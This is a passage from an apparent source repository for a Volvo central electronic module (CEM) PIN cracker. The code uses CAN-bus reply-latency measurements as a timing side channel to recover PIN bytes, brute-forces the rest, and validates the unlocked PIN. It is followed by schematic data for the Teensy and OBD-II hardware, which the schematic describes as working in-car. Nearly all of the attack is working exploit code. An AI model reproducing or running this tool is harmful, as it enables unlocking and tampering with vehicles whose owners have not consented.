AVERAGE_DELTA_MAX; 691 | 692 | /* clear collected latencies */ 693 | 694 | memset (sequence, 0, sizeof(sequence)); 695 | 696 | printf ("range %u, samples %u\n", range, samples); 697 | printf ("candidates short list: "); 698 | 699 | for (i = 0; i < min (50u, range); i++) 700 | printf ("%02x ", seq[i]); 701 | 702 | if (50 < range) 703 | printf (" (+ %d more)\n", range - 50); 704 | 705 | printf ("\n"); 706 | printf (" us: "); 707 | 708 | for (i = xmin; i < xmax; i++) 709 | printf ("%5d ", i); 710 | 711 | printf ("\n"); 712 | 713 | /* iterate over all possible values for the PIN digit */ 714 | 715 | for (pin1 = 0; pin1 < range; pin1++) { 716 | 717 | /* update display spinner */ 718 | 719 | lcd_spinner (); 720 | 721 | /* set PIN digit */ 722 | 723 | pin[pos] = seq[pin1]; 724 | 725 | /* print a progress message for each PIN digit we're processing */ 726 | 727 | printf ("[ "); 728 | 729 | /* show numerial values for the known digits */ 730 | 731 | for (i = 0; i <= pos; i++) { 732 | printf ("%02x ", pin[i]); 733 | } 734 | 735 | /* placeholder for the unknown digits */ 736 | 737 | while (i < PIN_LEN) { 738 | printf ("-- "); 739 | i++; 740 | } 741 | 742 | printf ("]: "); 743 | 744 | /* clear histogram data for the new PIN digit */ 745 | 746 | memset (histogram, 0, len); 747 | 748 | /* iterate over all possible values for the adjacent PIN digit */ 749 | 750 | for (pin2 = 0; pin2 < 100; pin2++) { 751 | 752 | /* set PIN digit */ 753 | 754 | pin[pos + 1] = binToBcd (pin2); 755 | 756 | /* collect latency measurements the PIN pair */ 757 | 758 | for (uint32_t j = 0; j < samples; j++) { 759 | 760 | /* check if an abort has been requested */ 761 | 762 | if (abortReq) { 763 | free (histogram); 764 | return (true); 765 | } 766 | 767 | pin[pos + 2] = range < 100 ? random (100, 255) : binToBcd (j % 100); 768 | 769 | /* try and unlock and measure the latency */ 770 | 771 | cemUnlock (pin, NULL, &latency, verbose); 772 | 773 | /* calculate the index into the historgram */ 774 | 775 | uint32_t idx = latency / clockCyclesPerMicrosecond (); 776 | 777 | if (idx < cem_reply_min) 778 | idx = cem_reply_min; 779 | 780 | if (idx >= cem_reply_max) 781 | idx = cem_reply_max - 1; 782 | 783 | idx -= cem_reply_min; 784 | 785 | /* bump the count for this latency */ 786 | 787 | histogram[idx]++; 788 | 789 | /* update display spinner */ 790 | 791 | lcd_spinner (); 792 | } 793 | } 794 | 795 | /* clear the digits we just used for latency iteration */ 796 | 797 | pin[pos + 1] = 0x00; 798 | pin[pos + 2] = 0x00; 799 | 800 | /* clear statistical values we're calculating */ 801 | 802 | prod = 0; 803 | sum = 0; 804 | 805 | /* loop over the histogram values */ 806 | 807 | for (k = xmin; k < xmax; k++) 808 | printf ("% 5u ", histogram[k - cem_reply_min]); 809 | 810 | for (k = cem_reply_min; k < cem_reply_max; k++) { 811 | uint32_t l = k - cem_reply_min; 812 | uint32_t h = histogram[l]; 813 | 814 | if (h) { 815 | prod += h * k; 816 | sum += h; 817 | } 818 | } 819 | 820 | uint32_t mean = sum / (xmax - xmin); 821 | long x = 0; 822 | 823 | for (k = cem_reply_min; k < cem_reply_max; k++) { 824 | uint32_t l = k - cem_reply_min; 825 | if (histogram[l]) 826 | x += sq (histogram[l] - mean); 827 | } 828 | std = sqrt ((double)x / (cem_reply_max - cem_reply_min)); 829 | 830 | /* weighted average */ 831 | 832 | printf (": latency % 10u; std %3.2f\n", prod, std); 833 | 834 | /* store the weighted average count for this PIN value */ 835 | 836 | sequence[pin1].pinValue = pin[pos]; 837 | sequence[pin1].latency = prod; 838 | sequence[pin1].std = std; 839 | 840 | 841 | #if defined(DUMP_BUCKETS) 842 | printf ("Average latency: %u\n", cem_reply_avg); 843 | 844 | for (k = 0; k < cem_reply_max - cem_reply_min; k++) { 845 | if (histogram[k] != 0) { 846 | printf ("%4u : %5u\n", k + cem_reply_min, histogram[k]); 847 | } 848 | } 849 | #endif 850 | 851 | } 852 | 853 | /* sort the collected sequence of latencies */ 854 | 855 | qsort (sequence, range, sizeof(sequence_t), seq_max_lat); 856 | 857 | /* update display spinner */ 858 | 859 | lcd_spinner (); 860 | 861 | /* print the top range/2 latencies and their PIN value */ 862 | 863 | printf ("best candidates ordered by latency:\n"); 864 | 865 | for (uint32_t i = 0; i < range; i++) { 866 | printf ("%u: %02x lat = %u\n", i, sequence[i].pinValue, sequence[i].latency); 867 | } 868 | printf ("...\n"); 869 | 870 | for (i = 0; i < range; i++) 871 | seq[i] = sequence[i].pinValue; 872 | 873 | if (range == 2) { 874 | 875 | /* set the digit in the overall PIN */ 876 | 877 | pin[pos] = sequence[0].pinValue; 878 | printf ("pin[%u] choose candidate: %02x\n", pos, pin[pos]); 879 | } 880 | 881 | free (histogram); 882 | 883 | return (false); 884 | } 885 | 886 | /******************************************************************************* 887 | * 888 | * cemCrackPin - attempt to find the specified number of bytes in the CEM's PIN 889 | * 890 | * Returns: true if aborted 891 | */ 892 | 893 | bool cemCrackPin (uint32_t maxBytes, bool verbose) 894 | { 895 | uint8_t pin[PIN_LEN]; 896 | uint8_t pinUsed[PIN_LEN]; 897 | uint32_t start; 898 | uint32_t end; 899 | uint32_t percent = 0; 900 | uint32_t percent_5; 901 | uint32_t crackRate; 902 | uint32_t remainingBytes; 903 | bool cracked = false; 904 | uint32_t i; 905 | 906 | /* profile the CEM to see how fast it can process requests */ 907 | 908 | printf ("Profiling CEM\n"); 909 | lcd_printf (0, 1, "Profiling CEM "); 910 | crackRate = profileCemResponse (); 911 | 912 | printf ("Calculating bytes 0-%u\n", maxBytes - 1); 913 | lcd_printf (0, 1, "Bytes 0-%lu ", maxBytes - 1); 914 | 915 | /* start time */ 916 | 917 | start = millis (); 918 | 919 | /* set the PIN to all zeros */ 920 | 921 | memset (pin, 0x00, sizeof(pin)); 922 | 923 | /* try and crack each PIN position */ 924 | 925 | for (i = 0; i < maxBytes; i++) { 926 | 927 | /* exit if an abort was requested */ 928 | 929 | if (crackPinPosition (pin, i, verbose)) 930 | return (true); 931 | } 932 | 933 | /* number of PIN bytes remaining to find */ 934 | 935 | remainingBytes = PIN_LEN - maxBytes, 936 | 937 | /* show the result of the cracking */ 938 | 939 | printf ("Candidate PIN "); 940 | 941 | /* show numerial values for the known digits */ 942 | 943 | for (i=0; i < maxBytes; i++) { 944 | printf ("%02x ", pin[i]); 945 | } 946 | 947 | /* placeholder for the remaining digits */ 948 | 949 | while (i < PIN_LEN) { 950 | printf ("-- "); 951 | i++; 952 | } 953 | 954 | printf (": brute forcing bytes %u to %u (%u bytes), will take up to %u seconds\n", 955 | maxBytes, PIN_LEN - 1, remainingBytes, 956 | (uint32_t)(pow (100, remainingBytes) / crackRate)); 957 | 958 | lcd_printf (0, 1, "Bytes %lu-%u ", maxBytes, PIN_LEN - 1); 959 | 960 | /* 5% of the remaining PINs to try */ 961 | 962 | percent_5 = pow (100, (remainingBytes))/20; 963 | 964 | printf ("Progress: "); 965 | 966 | /* 967 | * Iterate for each of the remaining PIN bytes. 968 | * Each byte has a value 0-99 so we iterare for 100^remainingBytes values 969 | */ 970 | 971 | for (i = 0; i < pow (100, (remainingBytes)); i++) { 972 | uint32_t pinValues = i; 973 | 974 | /* check if an abort has been requested */ 975 | 976 | if (abortReq) { 977 | return (true); 978 | } 979 | 980 | /* fill in each of the remaining PIN values */ 981 | 982 | for (uint32_t j = maxBytes; j < PIN_LEN; j++) { 983 | pin[j] = binToBcd (pinValues % 100); 984 | 985 | /* shift to the next PIN's value */ 986 | 987 | pinValues /= 100; 988 | } 989 | 990 | /* try and unlock with this PIN */ 991 | 992 | if (cemUnlock (pin, pinUsed, NULL, verbose)) { 993 | 994 | /* the PIN worked, print it and terminate the search */ 995 | 996 | printf ("done\n"); 997 | printf ("\nfound PIN: %02x %02x %02x %02x %02x %02x", 998 | pinUsed[0], pinUsed[1], pinUsed[2], pinUsed[3], pinUsed[4], pinUsed[5]); 999 | 1000 | cracked = true; 1001 | break; 1002 | } 1003 | 1004 | /* print a periodic progress message */ 1005 | 1006 | if ((i % percent_5) == 0) { 1007 | printf ("%u%%..", percent * 5); 1008 | lcd_printf (0, 1, "Bytes %lu-%u %lu%% ", maxBytes, PIN_LEN - 1, percent * 5); 1009 | percent++; 1010 | } 1011 | } 1012 | 1013 | /* print execution summary */ 1014 | 1015 | end = millis (); 1016 | printf ("\nPIN is %scracked in %3.2f seconds\n", cracked ? "" : "NOT ", (end - start) / 1000.0); 1017 | 1018 | /* validate the PIN if we were able to crack it */ 1019 | 1020 | if (cracked == true) { 1021 | 1022 | uint8_t data[CAN_MSG_SIZE]; 1023 | uint32_t can_id = 0; 1024 | 1025 | printf ("Validating PIN\n"); 1026 | lcd_printf (0, 1, "Validating PIN "); 1027 | 1028 | /* send the unlock request to the CEM */ 1029 | 1030 | data[0] = CEM_HS_ECU_ID; 1031 | data[1] = 0xBE; 1032 | data[2] = pinUsed[0]; 1033 | data[3] = pinUsed[1]; 1034 | data[4] = pinUsed[2]; 1035 | data[5] = pinUsed[3]; 1036 | data[6] = pinUsed[4]; 1037 | data[7] = pinUsed[5]; 1038 | 1039 | canMsgSend (CAN_HS, 0xffffe, data, verbose); 1040 | 1041 | /* get the response from the CEM */ 1042 | 1043 | memset (data, 0, sizeof(data)); 1044 | 1045 | canMsgReceive (CAN_HS, &can_id, data, 10, false); 1046 | 1047 | /* verify the response came from the CEM and is a successful reply to our request */ 1048 | 1049 | if ((can_id == 3) && 1050 | (data[0] == CEM_HS_ECU_ID) && (data[1] == 0xB9) && (data[2] == 0x00)) { 1051 | printf ("PIN verified.\n"); 1052 | 1053 | lcd_printf (0, 0, "PIN: %02x %02x %02x ", pinUsed[0], pinUsed[1], pinUsed[2]); 1054 | lcd_printf (0, 1, " %02x %02x %02x ", pinUsed[3], pinUsed[4], pinUsed[5]); 1055 | } else { 1056 | printf ("PIN verification failed!\n"); 1057 | 1058 | lcd_printf (0, 1, "PIN: failed "); 1059 | } 1060 | } else { 1061 | lcd_printf (0, 1, "PIN: not cracked"); 1062 | } 1063 | 1064 | printf ("done\n"); 1065 | 1066 | return (false); 1067 | } 1068 | 1069 | /******************************************************************************* 1070 | * 1071 | * can_hs_event - called by FlexCAN_T4 when data arrives on the high-speed bus 1072 | * 1073 | * Returns: N/A 1074 | */ 1075 | 1076 | void can_hs_event (const CAN_message_t &msg) 1077 | { 1078 | can_hs_event_msg = msg; 1079 | can_hs_event_msg_available = true; 1080 | } 1081 | 1082 | /******************************************************************************* 1083 | * 1084 | * can_ls_event - called by FlexCAN_T4 when data arrives on the low-speed bus 1085 | * 1086 | * Returns: N/A 1087 | */ 1088 | 1089 | void can_ls_event (const CAN_message_t &msg) 1090 | { 1091 | can_ls_event_msg = msg; 1092 | can_ls_event_msg_available = true; 1093 | } 1094 | 1095 | /******************************************************************************* 1096 | * 1097 | * can_ls_init - FlexCAN_T4 low-speed bus initialization 1098 | * 1099 | * Returns: N/A 1100 | */ 1101 | 1102 | void can_ls_init (uint32_t baud) 1103 | { 1104 | can_ls.begin (); 1105 | can_ls.setBaudRate (baud); 1106 | can_ls.enableFIFO (); 1107 | can_ls.enableFIFOInterrupt (); 1108 | can_ls.setFIFOFilter (ACCEPT_ALL); 1109 | can_ls.onReceive (can_ls_event); 1110 | printf ("CAN low-speed init done.\n"); 1111 | } 1112 | 1113 | /******************************************************************************* 1114 | * 1115 | * can_hs_init - FlexCAN_T4 high-speed bus initialization 1116 | * 1117 | * Returns: N/A 1118 | */ 1119 | 1120 | void can_hs_init (uint32_t baud) 1121 | { 1122 | can_hs.begin (); 1123 | can_hs.setBaudRate (baud); 1124 | can_hs.enableFIFO (); 1125 | can_hs.enableFIFOInterrupt (); 1126 | can_hs.setFIFOFilter (ACCEPT_ALL); 1127 | can_hs.onReceive (can_hs_event); 1128 | printf ("CAN high-speed init done.\n"); 1129 | } 1130 | 1131 | /******************************************************************************* 1132 | * 1133 | * ext_output1 - called by FlexCAN_T4's receive interrupt handler 1134 | * 1135 | * Returns: N/A 1136 | */ 1137 | 1138 | void ext_output1(const CAN_message_t &msg) 1139 | { 1140 | intr = true; 1141 | } 1142 | 1143 | /******************************************************************************* 1144 | * 1145 | * k_line_keep_alive - write a message to the K-line to keep it alive 1146 | * 1147 | * Returns: N/A 1148 | */ 1149 | 1150 | void k_line_keep_alive () 1151 | { 1152 | uint8_t msg[] = { 0x84, 0x40, 0x13, 0xb2, 0xf0, 0x03, 0x7c }; 1153 | 1154 | Serial3.write (msg, sizeof(msg)); 1155 | } 1156 | 1157 | /******************************************************************************* 1158 | * 1159 | * find_cem_params - find CEM parameters based on part number 1160 | * 1161 | * Returns: pointer to paramters if CEM is known, NULL otherwise 1162 | */ 1163 | 1164 | struct _cem_params *find_cem_params (uint32_t pn) 1165 | { 1166 | uint32_t i; 1167 | uint32_t n = sizeof(cem_params) / sizeof(struct _cem_params); 1168 | 1169 | printf ("Searching P/N %u in %d known CEMs\n", pn, n); 1170 | 1171 | for (i = 0; i < n; i++) { 1172 | if (cem_params[i].part_number == pn) { 1173 | return &cem_params[i]; 1174 | } 1175 | } 1176 | return NULL; 1177 | } 1178 | 1179 | /******************************************************************************* 1180 | * 1181 | * lcd_init - initialze the LCD controller with custom characters 1182 | * 1183 | * Returns: N/A 1184 | */ 1185 | 1186 | void lcd_init (void) { 1187 | 1188 | /* custom characters for use by the spinner */ 1189 | 1190 | const byte char0[8] = { 1191 | B11100, 1192 | B11100, 1193 | B11100, 1194 | B11100, 1195 | B00000, 1196 | B00000, 1197 | B00000, 1198 | B00000, 1199 | }; 1200 | const byte char1[8] = { 1201 | B00111, 1202 | B00111, 1203 | B00111, 1204 | B00111, 1205 | B00000, 1206 | B00000, 1207 | B00000, 1208 | B00000, 1209 | }; 1210 | 1211 | const byte char2[8] = { 1212 | B00000, 1213 | B00000, 1214 | B00000, 1215 | B00000, 1216 | B00111, 1217 | B00111, 1218 | B00111, 1219 | B00111, 1220 | }; 1221 | 1222 | const byte char3[8] = { 1223 | B00000, 1224 | B00000, 1225 | B00000, 1226 | B00000, 1227 | B11100, 1228 | B11100, 1229 | B11100, 1230 | B11100, 1231 | }; 1232 | 1233 | lcd.createChar (0, char0); 1234 | lcd.createChar (1, char1); 1235 | lcd.createChar (2, char2); 1236 | lcd.createChar (3, char3); 1237 | } 1238 | 1239 | /******************************************************************************* 1240 | * 1241 | * lcd_spinner - update the spinner on the LCD display 1242 | * 1243 | * Returns: N/A 1244 | */ 1245 | 1246 | void lcd_spinner (void) { 1247 | static uint32_t index = 0; 1248 | static uint32_t last_update = 0; 1249 | uint32_t timestamp; 1250 | 1251 | /* must have at least 500ms between updates */ 1252 | 1253 | timestamp = millis (); 1254 | 1255 | if ((timestamp - last_update) < 500) 1256 | return; 1257 | 1258 | last_update = timestamp; 1259 | 1260 | lcd.setCursor (15,1); 1261 | lcd.write (index); 1262 | index++; 1263 | index %= 4; 1264 | } 1265 | 1266 | bool initialized = false; 1267 | 1268 | /******************************************************************************* 1269 | * 1270 | * setup - Arduino entry point for hardware configuration 1271 | * 1272 | * Returns: N/A 1273 | */ 1274 | 1275 | void setup (void) 1276 | { 1277 | 1278 | /* initialize the LCD display */ 1279 | 1280 | lcd.begin (LCD_COLS, LCD_ROWS); 1281 | lcd.clear (); 1282 | lcd.setCursor (0, 0); 1283 | 1284 | lcd_init (); 1285 | 1286 | lcd_printf (0, 0, "Initialzing... "); 1287 | 1288 | /* set up the serial port */ 1289 | 1290 | Serial.begin (115200); 1291 | Serial3.begin (10800); /* K-Line */ 1292 | 1293 | delay (3000); 1294 | 1295 | /* enable the time stamp counter */ 1296 | 1297 | ARM_DEMCR |= ARM_DEMCR_TRCENA; 1298 | ARM_DWT_CTRL |= ARM_DWT_CTRL_CYCCNTENA; 1299 | 1300 | /* set up the pin for sampling the CAN bus */ 1301 | 1302 | pinMode (CAN_L_PIN, INPUT_PULLUP); 1303 | 1304 | /* set up the pin for calculated byte count selection */ 1305 | 1306 | pinMode (CALC_BYTES_PIN, INPUT_PULLUP); 1307 | 1308 | /* set up the pin and ISR for aborting */ 1309 | 1310 | pinMode (ABORT_PIN, INPUT_PULLUP); 1311 | attachInterrupt (digitalPinToInterrupt (ABORT_PIN), abortIsr, LOW); 1312 | 1313 | /* allow time for input pull-up resistors to settle */ 1314 | 1315 | delayMicroseconds (10); 1316 | 1317 | /* grounded pin calculates fewer PIN bytes */ 1318 | 1319 | if (digitalRead (CALC_BYTES_PIN) == 0) 1320 | calc_bytes = 2; 1321 | 1322 | set_arm_clock (180000000); 1323 | 1324 | printf ("Build Date: %s %s\n", __DATE__, __TIME__); 1325 | printf ("CPU Maximum Frequency: %u\n", F_CPU); 1326 | printf ("CPU Frequency: %u\n", F_CPU_ACTUAL); 1327 | printf ("Execution Rate: %u cycles/us\n", clockCyclesPerMicrosecond ()); 1328 | printf ("PIN bytes to measure: %u\n", calc_bytes); 1329 | 1330 | uint32_t pn = 0; 1331 | 1332 | #if defined(CEM_PN_AUTODETECT) 1333 | bool hs_inited = false; 1334 | 1335 | can_hs.begin (); 1336 | k_line_keep_alive (); 1337 | delay (1000); 1338 | can_ls_init (CAN_125KBPS); 1339 | k_line_keep_alive (); 1340 | pn = ecu_read_part_number (CAN_LS, CEM_LS_ECU_ID); 1341 | 1342 | if (!pn) { 1343 | 1344 | /* might be CEM-L */ 1345 | 1346 | printf ("Can't find part number on CAN-LS, trying CAN-HS at 500 Kbps\n"); 1347 | lcd_printf (0, 0, "CAN_LS error "); 1348 | 1349 | can_hs_init (CAN_500KBPS); 1350 | hs_inited = true; 1351 | pn = ecu_read_part_number (CAN_HS, CEM_HS_ECU_ID); 1352 | } 1353 | #else 1354 | can_ls_init (CAN_125KBPS); 1355 | can_hs_init (CAN_500KBPS); 1356 | progModeOn (); 1357 | pn = ecu_read_part_number_prog (CAN_HS, CEM_HS_ECU_ID); 1358 | #endif 1359 | 1360 | struct _cem_params *p_hs_params; 1361 | 1362 | if (!pn || ((p_hs_params = find_cem_params (pn)) == NULL)) { 1363 | printf ("Unknown CEM part number %u. Don't know what to do.\n", pn); 1364 | lcd_printf (0, 0, "Unknown CEM "); 1365 | lcd_printf (0, 1, "Exiting...... "); 1366 | return; 1367 | } 1368 | 1369 | lcd.clear (); 1370 | lcd_printf (0, 0, "CEM: %lu", pn); 1371 | 1372 | shuffle_order = shuffle_orders[p_hs_params->shuffle]; 1373 | 1374 | printf ("CAN HS baud rate: %d\n", p_hs_params->baud); 1375 | printf ("PIN shuffle order: %d %d %d %d %d %d\n", 1376 | shuffle_order[0], shuffle_order[1], shuffle_order[2], 1377 | shuffle_order[3], shuffle_order[4], shuffle_order[5]); 1378 | 1379 | #if defined(CEM_PN_AUTODETECT) 1380 | if (!hs_inited) 1381 | can_hs_init (p_hs_params->baud); 1382 | 1383 | lcd_printf (0, 1, "Enter PROG mode."); 1384 | 1385 | progModeOn (); 1386 | if (!hs_inited) 1387 | pn = ecu_read_part_number_prog (CAN_HS, CEM_HS_ECU_ID); 1388 | #endif 1389 | 1390 | initialized = true; 1391 | printf ("Initialization done.\n\n"); 1392 | } 1393 | 1394 | /******************************************************************************* 1395 | * 1396 | * loop - Arduino main loop 1397 | * 1398 | * Returns: N/A 1399 | */ 1400 | 1401 | void loop (void) 1402 | { 1403 | bool verbose = false; 1404 | 1405 | if (initialized) { 1406 | if (cemCrackPin (calc_bytes, verbose)) { 1407 | printf ("Cracking aborted!\n"); 1408 | lcd_printf (0, 1, "Aborted! "); 1409 | } 1410 | } 1411 | 1412 | /* exit ECU programming mode */ 1413 | 1414 | progModeOff (); 1415 | 1416 | /* all done, stop */ 1417 | 1418 | for (;;) { 1419 | } 1420 | } 1421 | -------------------------------------------------------------------------------- /doc/SCH_Volvo CEM-L (50) cracker_2023-01-16.json: -------------------------------------------------------------------------------- 1 | { 2 | "editorVersion": "6.5.22", 3 | "docType": "5", 4 | "title": "Volvo CEM-L (50) cracker", 5 | "description": "", 6 | "colors": {}, 7 | "schematics": [ 8 | { 9 | "docType": 1, 10 | "title": "Sheet_1", 11 | "description": "", 12 | "dataStr": { 13 | "head": { 14 | "docType": "1", 15 | "editorVersion": "6.4.12", 16 | "newgId": true, 17 | "c_para": { 18 | "Prefix Start": "1" 19 | }, 20 | "c_spiceCmd": "null", 21 | "hasIdFlag": true, 22 | "uuid": "aa19db4205384782993916e1d95c084d", 23 | "x": "0", 24 | "y": "0", 25 | "portOfADImportHack": "", 26 | "importFlag": 0, 27 | "transformList": "" 28 | }, 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765 -555~#008800~1~0~none~gge7769~0", 42 | "W~765 -515 420 -515 420 -660 365 -660~#008800~1~0~none~gge7770~0", 43 | "W~765 -535 440 -535 440 -640 365 -640~#008800~1~0~none~gge7771~0", 44 | "W~365 -400 700 -400 700 -615 765 -615~#008800~1~0~none~gge7772~0", 45 | "W~655 -605 670 -605 670 -535~#008800~1~0~none~gge7773~0", 46 | "W~535 -605 510 -605 510 -535~#008800~1~0~none~gge7775~0", 47 | "W~535 -615 455 -615 455 -620 365 -620~#008800~1~0~none~gge7777~0", 48 | "W~655 -615 685 -615 685 -515~#008800~1~0~none~gge7778~0", 49 | "W~535 -635 530 -635 530 -710 105 -710 105 -560 165 -560~#008800~1~0~none~gge7781~0", 50 | "W~925 -575 1005 -575~#008800~1~0~none~gge7789~0", 51 | "W~1005 -555 965 -555~#008800~1~0~none~gge7790~0", 52 | "T~L~1010~-565~0~#0000FF~~9pt~~~~comment~To OBD-II CAN-HS~1~start~gge7792~0~pinpart", 53 | "LIB~850~-235~package`CAN_BUS_SHIELD_8MHZ`BOM_Manufacturer``BOM_Manufacturer Part``BOM_Supplier Part``BOM_Supplier``link``Contributor`Christer_A`spicePre`U`~~0~gge778b54bf753fa61a~ac1ee8ee372f4699b92c20a1b2d0db33~e8820a3734b842dfbeeb5138c4be1468~0~~yes~yes#@$T~N~844.17~-318~0~#000080~Arial~~~~~comment~CAN-HS~1~start~gge7800~0~#@$T~P~844.17~-327.33~0~#000080~Arial~~~~~comment~U1~1~start~gge7802~0~#@$R~790~-315~~~120~160~#000000~1~0~none~gge7804~0~#@$P~show~0~1~770~-295~180~gge7805~0^^770~-295^^M 770 -295 h 20~#880000^^1~792~-292~0~INT~start~~~#0000FF^^1~785~-296~0~1~end~~~#0000FF^^0~787~-295^^0~M 790 -292 L 793 -295 L 790 -298#@$P~show~0~2~770~-275~180~gge7812~0^^770~-275^^M 770 -275 h 20~#880000^^1~792~-272~0~SCK~start~~~#0000FF^^1~785~-276~0~2~end~~~#0000FF^^0~787~-275^^0~M 790 -272 L 793 -275 L 790 -278#@$P~show~0~3~770~-255~180~gge7819~0^^770~-255^^M 770 -255 h 20~#880000^^1~792~-252~0~MOSI~start~~~#0000FF^^1~785~-256~0~3~end~~~#0000FF^^0~787~-255^^0~M 790 -252 L 793 -255 L 790 -258#@$P~show~0~4~770~-235~180~gge7826~0^^770~-235^^M 770 -235 h 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L~end~~~#0000FF^^1~915~-216~0~9~start~~~#0000FF^^0~913~-215^^0~M 910 -218 L 907 -215 L 910 -212#@$T~L~852.02~-162.75~270~#0000FF~~9pt~~~~comment~CAN BUS SHIELD 8MHz~1~start~gge7868~0~pinpart", 54 | "W~770 -195 670 -195 670 -535~#008800~1~0~none~gge7870~0", 55 | "W~770 -175 685 -175 685 -515~#008800~1~0~none~gge7871~0", 56 | "W~770 -215 85 -215 85 -580 165 -580~#008800~1~0~none~gge7872~0", 57 | "W~770 -275 700 -275 700 -400~#008800~1~0~none~gge7873~0", 58 | "W~770 -235 715 -235 715 -575~#008800~1~0~none~gge7879~0", 59 | "W~770 -255 730 -255 730 -595~#008800~1~0~none~gge7882~0", 60 | "W~1010 -215 930 -215~#008800~1~0~none~gge7885~0", 61 | "W~930 -235 1010 -235~#008800~1~0~none~gge7886~0", 62 | "T~L~1015~-225~0~#0000FF~~9pt~~~~comment~To OBD-II CAN-LS~1~start~gge7887~0~pinpart", 63 | "R~640~-340~~~490~230~#000000~1~0~none~gge7890~0~", 64 | "T~L~645~-120~0~#0000FF~~9pt~~~~comment~Optional, only needed for in-car cracking. On-bench cracking does not need it~1~start~gge7891~0~pinpart", 65 | "F~part_netLabel_+5V~420~-745~0~gge7893~~0^^420~-745^^+5V~#000000~410~-757~0~start~1~Times New Roman~9pt~flag_gge22^^PL~420 -755 420 -745~#000000~1~0~none~gge7897~0^^PL~415 -755 425 -755~#000000~1~0~transparent~gge7898~0", 66 | "W~420 -745 420 -660~#008800~1~0~none~gge7905~0", 67 | "F~part_netLabel_gnD~440~-185~0~gge7907~~0^^440~-185^^GND~#000000~427~-159~0~start~1~Times New Roman~9pt~flag_gge23^^PL~440 -175 440 -185~#000000~1~0~transparent~gge7911~0^^PL~431 -175 449 -175~#000000~1~0~transparent~gge7912~0^^PL~434 -173 446 -173~#000000~1~0~transparent~gge7913~0^^PL~437 -171 443 -171~#000000~1~0~transparent~gge7914~0^^PL~439 -169 441 -169~#000000~1~0~transparent~gge7915~0", 68 | "W~440 -185 440 -535~#008800~1~0~none~gge7925~0", 69 | "W~1005 -420 670 -420~#008800~1~0~none~gge7933~0", 70 | "T~L~1015~-420~0~#0000FF~~9pt~~~~comment~To OBD-II GND~1~start~gge7935~0~pinpart", 71 | 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20~#880000^^1~787~-572~0~MISO~start~~~#0000FF^^1~780~-576~0~4~end~~~#0000FF^^0~782~-575^^0~M 785 -572 L 788 -575 L 785 -578#@$P~show~0~5~765~-555~180~gge985~0^^765~-555^^M 765 -555 h 20~#880000^^1~787~-552~0~CS~start~~~#0000FF^^1~780~-556~0~5~end~~~#0000FF^^0~782~-555^^0~M 785 -552 L 788 -555 L 785 -558#@$P~show~0~6~765~-535~180~gge992~0^^765~-535^^M 765 -535 h 20~#880000^^1~787~-532~0~GND~start~~~#0000FF^^1~780~-536~0~6~end~~~#0000FF^^0~782~-535^^0~M 785 -532 L 788 -535 L 785 -538#@$P~show~0~7~765~-515~180~gge999~0^^765~-515^^M 765 -515 h 20~#880000^^1~787~-512~0~VCC~start~~~#0000FF^^1~780~-516~0~7~end~~~#0000FF^^0~782~-515^^0~M 785 -512 L 788 -515 L 785 -518#@$P~show~0~8~925~-575~0~gge1006~0^^925~-575^^M 925 -575 h -20~#880000^^1~903~-572~0~CAN H~end~~~#0000FF^^1~910~-576~0~8~start~~~#0000FF^^0~908~-575^^0~M 905 -578 L 902 -575 L 905 -572#@$P~show~0~9~925~-555~0~gge1013~0^^925~-555^^M 925 -555 h -20~#880000^^1~903~-552~0~CAN L~end~~~#0000FF^^1~910~-556~0~9~start~~~#0000FF^^0~908~-555^^0~M 905 -558 L 902 -555 L 905 -552#@$T~L~847.02~-502.75~270~#0000FF~~9pt~~~~comment~CAN BUS SHIELD 8MHz~1~start~gge1020~0~pinpart", 32 | "W~165 -440 125 -440 125 -345 965 -345 965 -555 925 -555~#008800~1~0~none~gge1023~0", 33 | "W~765 -635 655 -635~#008800~1~0~none~gge1026~0", 34 | "W~770 -595 655 -595~#008800~1~0~none~gge1027~0", 35 | "W~765 -575 715 -575 715 -585 655 -585~#008800~1~0~none~gge1028~0", 36 | "LIB~265~-600~package`TEENSY4.0_BASIC`BOM_Manufacturer`PJRC`BOM_Manufacturer Part``BOM_Supplier Part``BOM_Supplier`PJRC`link`https://www.pjrc.com/store/teensy40.html`Contributor`Chris Gscheidle`spicePre`T`spiceSymbolName`TEENSY4.0_BASIC`~~0~gge99cc0f85bdd6a88e~a3b7a8434ff04a2ca99cf9739ee69737~b348f28f884148858e812d428df38098~0~4d75c3e80398f466~yes~yes~~~#@$T~N~259.55~-683~0~#000080~Arial~~~~~comment~TEENSY4.0_BASIC~1~start~gge7358~0~pinpart#@$T~P~259.55~-692.14~0~#000080~Arial~~~~~comment~T1~1~start~gge7360~0~pinpart#@$T~L~232.55~-635.26~0~#0000FF~~9pt~~~~comment~Teensy 4.0~1~start~gge7362~0~pinpart#@$R~185~-680~~~160~300~#000000~1~0~none~gge7364~0~#@$P~show~0~26~365~-660~0~gge7365~0^^365~-660^^M 365 -660 h -20~#880000^^1~343~-657~0~Vin~end~~~#0000FF^^1~350~-661~0~33~start~~~#0000FF^^0~348~-660^^0~M 345 -663 L 342 -660 L 345 -657#@$P~show~0~25~365~-640~0~gge7372~0^^365~-640^^M 365 -640 h -20~#880000^^1~343~-637~0~GND~end~~~#0000FF^^1~350~-641~0~32~start~~~#0000FF^^0~348~-640^^0~M 345 -643 L 342 -640 L 345 -637#@$P~show~0~24~365~-620~0~gge7379~0^^365~-620^^M 365 -620 h -20~#880000^^1~343~-617~0~3.3V~end~~~#0000FF^^1~350~-621~0~31~start~~~#0000FF^^0~348~-620^^0~M 345 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-517#@$P~show~0~18~365~-500~0~gge7421~0^^365~-500^^M 365 -500 h -20~#880000^^1~343~-497~0~SDA0/A4/18~end~~~#0000FF^^1~350~-501~0~25~start~~~#0000FF^^0~348~-500^^0~M 345 -503 L 342 -500 L 345 -497#@$P~show~0~17~365~-480~0~gge7428~0^^365~-480^^M 365 -480 h -20~#880000^^1~343~-477~0~SDA1/A3/17~end~~~#0000FF^^1~350~-481~0~24~start~~~#0000FF^^0~348~-480^^0~M 345 -483 L 342 -480 L 345 -477#@$P~show~0~16~365~-460~0~gge7435~0^^365~-460^^M 365 -460 h -20~#880000^^1~343~-457~0~SCL1/A2/16~end~~~#0000FF^^1~350~-461~0~23~start~~~#0000FF^^0~348~-460^^0~M 345 -463 L 342 -460 L 345 -457#@$P~show~0~15~365~-440~0~gge7442~0^^365~-440^^M 365 -440 h -20~#880000^^1~343~-437~0~A1/15~end~~~#0000FF^^1~350~-441~0~22~start~~~#0000FF^^0~348~-440^^0~M 345 -443 L 342 -440 L 345 -437#@$P~show~0~14~365~-420~0~gge7449~0^^365~-420^^M 365 -420 